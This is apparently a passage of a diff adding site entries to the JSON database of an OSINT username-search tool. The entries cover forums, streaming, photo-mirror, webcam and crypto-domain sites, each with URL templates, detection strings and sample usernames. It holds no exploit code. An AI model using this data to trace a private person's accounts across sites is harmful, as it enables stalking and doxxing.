alt=\"avatar\"/><" + ], + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikizilla.org/wiki/User:{username}" + }, + "zeldadungeon.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://zeldadungeon.net/wiki/User:{username}" + }, + "zoig.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://zoig.com/profile/{username}" + }, + "free-otvet.ru": { + "absenceStrs": [ + "qam-sidepanel-mobile" + ], + "presenseStrs": [ + "userfield-2" + ], + "url": "https://free-otvet.ru/user/{username}_zn", + "urlMain": "https://free-otvet.ru", + "usernameClaimed": "Triolana", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 121560, + "tags": [ + "q&a" + ] + }, + "TemplateMonster": { + "absenceStrs": [ + "ErrorPage__title" + ], + "presenseStrs": [ + "profile", + "header_profile", + "mailer", + "name", + "@graph" + ], + "url": "https://www.templatemonster.com/authors/{username}/", + "urlMain": "https://www.templatemonster.com", + "usernameClaimed": "zemez", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 3590, + "tags": [ + "coding" + ] + }, + "dolap": { + "absenceStrs": [ + " role=" + ], + "presenseStrs": [ + "setEmail" + ], + "url": "https://dolap.com/profil/{username}", + "urlMain": "https://dolap.com", + "usernameClaimed": "burcakmeric", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 46439, + "tags": [ + "shopping", + "tr" + ] + }, + "Gardrops": { + "absenceStrs": [ + "> Gardrops" + ], + "presenseStrs": [ + "/reviews" + ], + "url": "https://www.gardrops.com/{username}", + "urlMain": "https://www.gardrops.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 114405, + "tags": [ + "shopping", + "tr" + ] + }, + "27r.ru": { + "urlMain": "https://27r.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 291847 + }, + "diorama.ru": { + "urlMain": "https://diorama.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 876209 + }, + "chelfishing.ru": { + "urlMain": "http://www.chelfishing.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "coffeeforum.ru": { + "urlMain": "http://coffeeforum.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 6816330 + }, + "car72.ru": { + "urlMain": "https://www.car72.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 180112 + }, + "caravanliga.ru": { + "urlMain": "http://caravanliga.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5134546, + "disabled": true + }, + "fkclub.ru": { + "urlMain": "https://fkclub.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1217359 + }, + "e36club.com.ua": { + "urlMain": "http://e36club.com.ua/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 6481717 + }, + "audi-belarus.by": { + "urlMain": "https://audi-belarus.by/forum", + "engine": "phpBB/Search", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum" + ], + "alexaRank": 955306 + }, + "cedia-club.ru": { + "urlMain": "https://cedia-club.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 3575772 + }, + "308-club.ru": { + "urlMain": "https://www.308-club.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1174213 + }, + "as8.ru": { + "urlMain": "http://as8.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1657866 + }, + "chevrolet-daewoo.ru": { + "urlMain": "http://chevrolet-daewoo.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2212329 + }, + "forum.c-o-k.com.ua": { + "urlMain": "https://forum.c-o-k.com.ua", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 8982091 + }, + "forum.blackmagicdesign.com": { + "urlMain": "https://forum.blackmagicdesign.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 4572 + }, + "forum-dollplanet.ru": { + "urlMain": "http://forum-dollplanet.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1155897 + }, + "bashohota.ru": { + "urlMain": "http://www.bashohota.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5597207 + }, + "dfpd-forum.siemens.ru": { + "urlMain": "https://dfpd-forum.siemens.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1936926, + "disabled": true + }, + "doublecmd.h1n.ru": { + "urlMain": "https://doublecmd.h1n.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 180551 + }, + "fforum.ru": { + "urlMain": "http://www.fforum.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5399949 + }, + "ghisler.ch": { + "urlMain": "https://ghisler.ch/board", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 188223 + }, + "forum.finance.ua": { + "urlMain": "https://forum.finance.ua", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 57250 + }, + "figarohair.ru": { + "urlMain": "http://www.figarohair.ru/conf", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 3389425 + }, + "hairforum.ru": { + "urlMain": "https://hairforum.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "hcv.ru": { + "urlMain": "http://www.hcv.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2482497 + }, + "forum.injectorservice.com.ua": { + "urlMain": "https://forum.injectorservice.com.ua", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 826126 + }, + "hunting.karelia.ru": { + "urlMain": "http://hunting.karelia.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 20040 + }, + "forum.audacityteam.org": { + "urlMain": "https://forum.audacityteam.org", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 7424 + }, + "memoriam.ru": { + "urlMain": "https://memoriam.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 820052 + }, + "megapolis.org": { + "urlMain": "http://www.megapolis.org/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3405817 + }, + "forums.linuxmint.com": { + "urlMain": "https://forums.linuxmint.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 9207 + }, + "moto-arena.ru": { + "urlMain": "https://moto-arena.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 2421270 + }, + "forum.mxlinux.org": { + "urlMain": "https://forum.mxlinux.org", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 124468 + }, + "forum.pskovchess.ru": { + "urlMain": "http://forum.pskovchess.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "forum.openoffice.org": { + "urlMain": "https://forum.openoffice.org/en/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 15359 + }, + "forum.rosalinux.ru": { + "urlMain": "https://forum.rosalinux.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 702811 + }, + "forum.pressball.by": { + "urlMain": "https://forum.pressball.by", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum" + ], + "alexaRank": 63233, + "disabled": true + }, + "rt20.getbb.ru": { + "urlMain": "http://www.rt20.getbb.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 133412 + }, + "siava.ru": { + "urlMain": "https://siava.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1892135 + }, + "forum.ua-vet.com": { + "urlMain": "http://forum.ua-vet.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 3355047 + }, + "forum.virtualsoccer.ru": { + "urlMain": "https://forum.virtualsoccer.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 467162 + }, + "tuning.lviv.ua": { + "urlMain": "http://tuning.lviv.ua/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ua" + ], + "alexaRank": 8021246 + }, + "forum.tathunter.ru": { + "urlMain": "http://forum.tathunter.ru", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 4276869 + }, + "forum.volnistye.ru": { + "urlMain": "https://forum.volnistye.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1114259 + }, + "forum.web.ru": { + "urlMain": "https://forum.web.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 460111 + }, + "frauflora.com": { + "urlMain": "http://frauflora.com", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 2048362 + }, + "guitar.by": { + "urlMain": "https://www.guitar.by/forum", + "engine": "phpBB/Search", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "by", + "forum" + ], + "alexaRank": 720038 + }, + "kidshockey.ru": { + "urlMain": "https://kidshockey.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 438115 + }, + "jeepspb.ru": { + "urlMain": "http://jeepspb.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "khabmama.ru": { + "urlMain": "https://khabmama.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1528197 + }, + "lifeintravel.ru": { + "urlMain": "https://lifeintravel.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "disabled": true + }, + "forums.mageia.org": { + "urlMain": "https://forums.mageia.org/en", + "engine": "phpBB/Search", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 423825 + }, + "make-ups.ru": { + "urlMain": "http://make-ups.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "mama.tomsk.ru": { + "urlMain": "https://mama.tomsk.ru/forums", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 15559 + }, + "mitsubishi-asx.net": { + "urlMain": "https://www.mitsubishi-asx.net/forum", + "engine": "phpBB/Search", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 1622080 + }, + "moto26.ru": { + "urlMain": "http://moto26.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 9730748 + }, + "pajero4x4.ru": { + "urlMain": "http://www.pajero4x4.ru/bbs/phpBB2", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 412080 + }, + "phpbbguru.net": { + "urlMain": "https://www.phpbbguru.net/community", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 506137 + }, + "motoforum.ru": { + "urlMain": "https://www.motoforum.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1396312 + }, + "myce.wiki": { + "checkType": "message", + "presenseStrs": [ + "<span class=\"td-author-post-count\">", + "<span class=\"td-author-comments-count\">" + ], + "usernameClaimed": "vroom", + "usernameUnclaimed": "noonewouldeverusethis7", + "urlMain": "https://myce.wiki", + "url": "https://myce.wiki/author/{username}" + }, + "lviv4x4.club": { + "urlMain": "http://lviv4x4.club/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5561346 + }, + "politsrach.ru": { + "urlMain": "https://politsrach.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 6900738 + }, + "popgun.ru": { + "urlMain": "https://popgun.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 155325, + "disabled": true + }, + "rest.feo.ru": { + "urlMain": "https://rest.feo.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ] + }, + "sanatatur.ru": { + "urlMain": "http://sanatatur.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 246142 + }, + "rt21.getbb.ru": { + "urlMain": "http://www.rt21.getbb.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 133412 + }, + "pobedish.ru": { + "urlMain": "https://pobedish.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1002551 + }, + "sorento.kia-club.ru": { + "urlMain": "http://sorento.kia-club.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 435313 + }, + "shipmodeling.ru": { + "urlMain": "https://www.shipmodeling.ru/phpbb", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 441056 + }, + "trworkshop.net": { + "urlMain": "http://www.trworkshop.net/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 517619 + }, + "spb-projects.ru": { + "urlMain": "http://spb-projects.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 5138594 + }, + "ttsport.ru": { + "urlMain": "https://www.ttsport.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 812848 + }, + "spartak.msk.ru": { + "urlMain": "http://spartak.msk.ru/guest", + "engine": "phpBB/Search", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 1281707 + }, + "uazpatriot.ru": { + "urlMain": "https://uazpatriot.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 807713 + }, + "volga-gaz.nnov.ru": { + "urlMain": "http://volga-gaz.nnov.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 37898 + }, + "yiiframework.ru": { + "urlMain": "https://yiiframework.ru/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "ru" + ], + "alexaRank": 240757 + }, + "sasgis.org": { + "urlMain": "http://www.sasgis.org/forum", + "engine": "phpBB/Search", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 424362 + }, + "unixforum.org": { + "urlMain": "https://unixforum.org", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 287590 + }, + "mnogodetok.ru": { + "urlMain": "https://mnogodetok.ru", + "engine": "phpBB/Search", + "tags": [ + "forum", + "ru" + ], + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1331927 + }, + "vcfm.ru": { + "urlMain": "https://vcfm.ru/forum", + "engine": "phpBB/Search", + "tags": [ + "forum", + "ru" + ], + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1635578 + }, + "gaz-24.com": { + "urlMain": "http://gaz-24.com/forum", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ], + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1132552 + }, + "mikrob.ru": { + "urlMain": "https://mikrob.ru", + "engine": "phpBB/Search", + "tags": [ + "forum", + "ru" + ], + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 134780 + }, + "promalp.ru": { + "urlMain": "http://promalp.ru", + "engine": "phpBB/Search", + "usernameClaimed": "alex", + "tags": [ + "forum", + "ru" + ], + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 3482358 + }, + "goodgame.ru": { + "absenceStrs": [ + "not-found-wrap", + "images/404.gif" + ], + "presenseStrs": [ + "name", + "streamer_name", + "user", + " role=", + "streamer" + ], + "url": "https://goodgame.ru/channel/{username}", + "urlMain": "https://goodgame.ru", + "usernameClaimed": "Nikichar", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 55420, + "tags": [ + "ru", + "streaming" + ] + }, + "breakers.tv": { + "absenceStrs": [ + "Channel you are looking for doesn't exist", + "Stream Not Found - Breakers.TV" + ], + "presenseStrs": [ + "</span> followers", + "{username}</span>", + "{username} on Breakers.TV" + ], + "url": "https://breakers.tv/{username}", + "urlMain": "https://breakers.tv", + "usernameClaimed": "friendlyboxbreaks", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 987478, + "tags": [ + "streaming", + "us" + ] + }, + "AfreecaTV": { + "absenceStrs": [ + "Blog does not exist." + ], + "presenseStrs": [ + "profile_text", + "profile_image", + "name", + "station_name", + "user_nick" + ], + "url": "http://bjapi.afreecatv.com/api/{username}/station", + "urlMain": "http://bjapi.afreecatv.com", + "usernameClaimed": "showsaovivo", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 905, + "tags": [ + "streaming" + ] + }, + "Picarto": { + "absenceStrs": [ + "We are the world\\u2019s leading live streaming platform for creative minds. Come join us" + ], + "presenseStrs": [ + "\"success\":true" + ], + "url": "https://ptvintern.picarto.tv/metadescription/{username}", + "urlMain": "https://ptvintern.picarto.tv", + "usernameClaimed": "tamarinfrog", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 15844, + "tags": [ + "art", + "streaming" + ] + }, + "stripchat.global": { + "disabled": true, + "presenseStrs": [ + "profile email", + "setVersionName", + ",SITE_NAME=", + "input[name=", + "project" + ], + "absenceStrs": [ + "<div class=\"text-wrapper\">404</div>" + ], + "url": "https://stripchat.global/{username}", + "urlMain": "https://stripchat.global", + "usernameClaimed": "lunagirl13", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 117062, + "tags": [ + "webcam" + ] + }, + "Harvard Scholar": { + "checkType": "status_code", + "url": "https://scholar.harvard.edu/{username}", + "urlMain": "https://scholar.harvard.edu/", + "usernameClaimed": "ousmanekane", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Google Scholar": { + "checkType": "status_code", + "url": "https://scholar.google.com/scholar?hl=en&as_sdt=0%2C5&q={username}&btnG=", + "urlMain": "https://scholar.google.com/", + "usernameClaimed": "Blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HuggingFace": { + "checkType": "status_code", + "url": "https://huggingface.co/{username}", + "urlMain": "https://huggingface.co/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "dlive.tv": { + "absenceStrs": [ + "Channel not found" + ], + "presenseStrs": [ + "username", + "profile-part", + "profile-about" + ], + "url": "https://dlive.tv/{username}", + "urlMain": "https://dlive.tv", + "usernameClaimed": "TomTourettes", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 17235, + "tags": [ + "streaming" + ] + }, + "ManifoldMarkets": { + "checkType": "message", + "absenceStrs": [ + "404: Oops!", + "Less than 1% chance anything exists at this url." + ], + "presenseStrs": [ + ">Comments</div>", + ">Balance log</div>", + ">Payments</div>", + "@<!-- -->{username}<!-- --> </span>" + ], + "url": "https://manifold.markets/{username}", + "urlMain": "https://manifold.markets/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "instaprofi.ru": { + "absenceStrs": [ + "/static/img/pages/profile/nobody.jpg" + ], + "presenseStrs": [ + "profile__nextProfile flex-ajc" + ], + "url": "https://instaprofi.ru/profile/{username}", + "urlMain": "https://instaprofi.ru", + "usernameClaimed": "morgen_shtern", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "source": "Instagram", + "alexaRank": 252838, + "tags": [ + "photo" + ] + }, + "Pixwox": { + "absenceStrs": [ + "Page not found</div>" + ], + "presenseStrs": [ + "username", + "profile", + " data-name=", + "fullname", + "alternate" + ], + "url": "https://www.pixwox.com/profile/{username}/", + "urlMain": "https://www.pixwox.com", + "usernameClaimed": "mami_ishioka", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 12080, + "source": "Instagram", + "tags": [ + "photo" + ] + }, + "ImgInn": { + "absenceStrs": [ + "Page Not Found", + "The content has been deleted" + ], + "presenseStrs": [ + "followers", + "{username}" + ], + "url": "https://imginn.com/{username}/", + "urlMain": "https://imginn.com", + "usernameClaimed": "morgen_shtern", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 4271, + "source": "Instagram", + "tags": [ + "photo" + ] + }, + "lyricsTraining": { + "tags": [ + "music" + ], + "checkType": "message", + "presenseStrs": [ + "Lyrics by" + ], + "absenceStrs": [ + "Sorry, there are no results for your search." + ], + "url": "https://lyricstraining.com/search?user={username}", + "usernameClaimed": "Purrito", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "expoForum": { + "tags": [ + "coding", + "forum" + ], + "checkType": "status_code", + "url": "https://forums.expo.dev/u/{username}", + "usernameClaimed": "wodin", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "rawg.io": { + "tags": [ + "gaming" + ], + "checkType": "status_code", + "url": "https://rawg.io/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "SchemeColor": { + "tags": [ + "art", + "design" + ], + "checkType": "status_code", + "url": "https://www.schemecolor.com/author/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "aetherhub": { + "tags": [ + "gaming" + ], + "checkType": "status_code", + "url": "https://aetherhub.com/User/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "bugbounty": { + "disabled": true, + "tags": [ + "hacking" + ], + "checkType": "status_code", + "url": "https://bugbounty.gg/members/{username}", + "usernameClaimed": "marco", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "universocraft": { + "tags": [ + "gaming" + ], + "checkType": "message", + "presenseStrs": [ + "\u00daltima conexi\u00f3n" + ], + "absenceStrs": [ + "No se ha encontrado ning\u00fan usuario con ese nombre" + ], + "url": "https://stats.universocraft.com/stats.php?player={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis12" + }, + "fragment.com": { + "absenceStrs": [ + "data-username=", + "data-item-title=" + ], + "presenseStrs": [ + "tm-datetime", + "tm-wallet" + ], + "url": "https://fragment.com/username/{username}", + "urlMain": "https://fragment.com", + "usernameClaimed": "yazheg", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "UnstoppableDomains": { + "presenseStrs": [ + "reservedForUserId", + "\"registered\"", + "DomainProduct" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0", + "Accept": "*/*", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://unstoppabledomains.com/", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-origin", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "TE": "trailers" + }, + "urlProbe": "https://unstoppabledomains.com/api/domain/search?q={username}", + "url": "https://ud.me/{username}", + "urlMain": "https://ud.me", + "usernameClaimed": "mlfed", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "crypto" + ] + }, + "edns.domains/meta": { + "absenceStrs": [ + "\"available\":true" + ], + "presenseStrs": [ + "PURCHASED_BY_OTHER" + 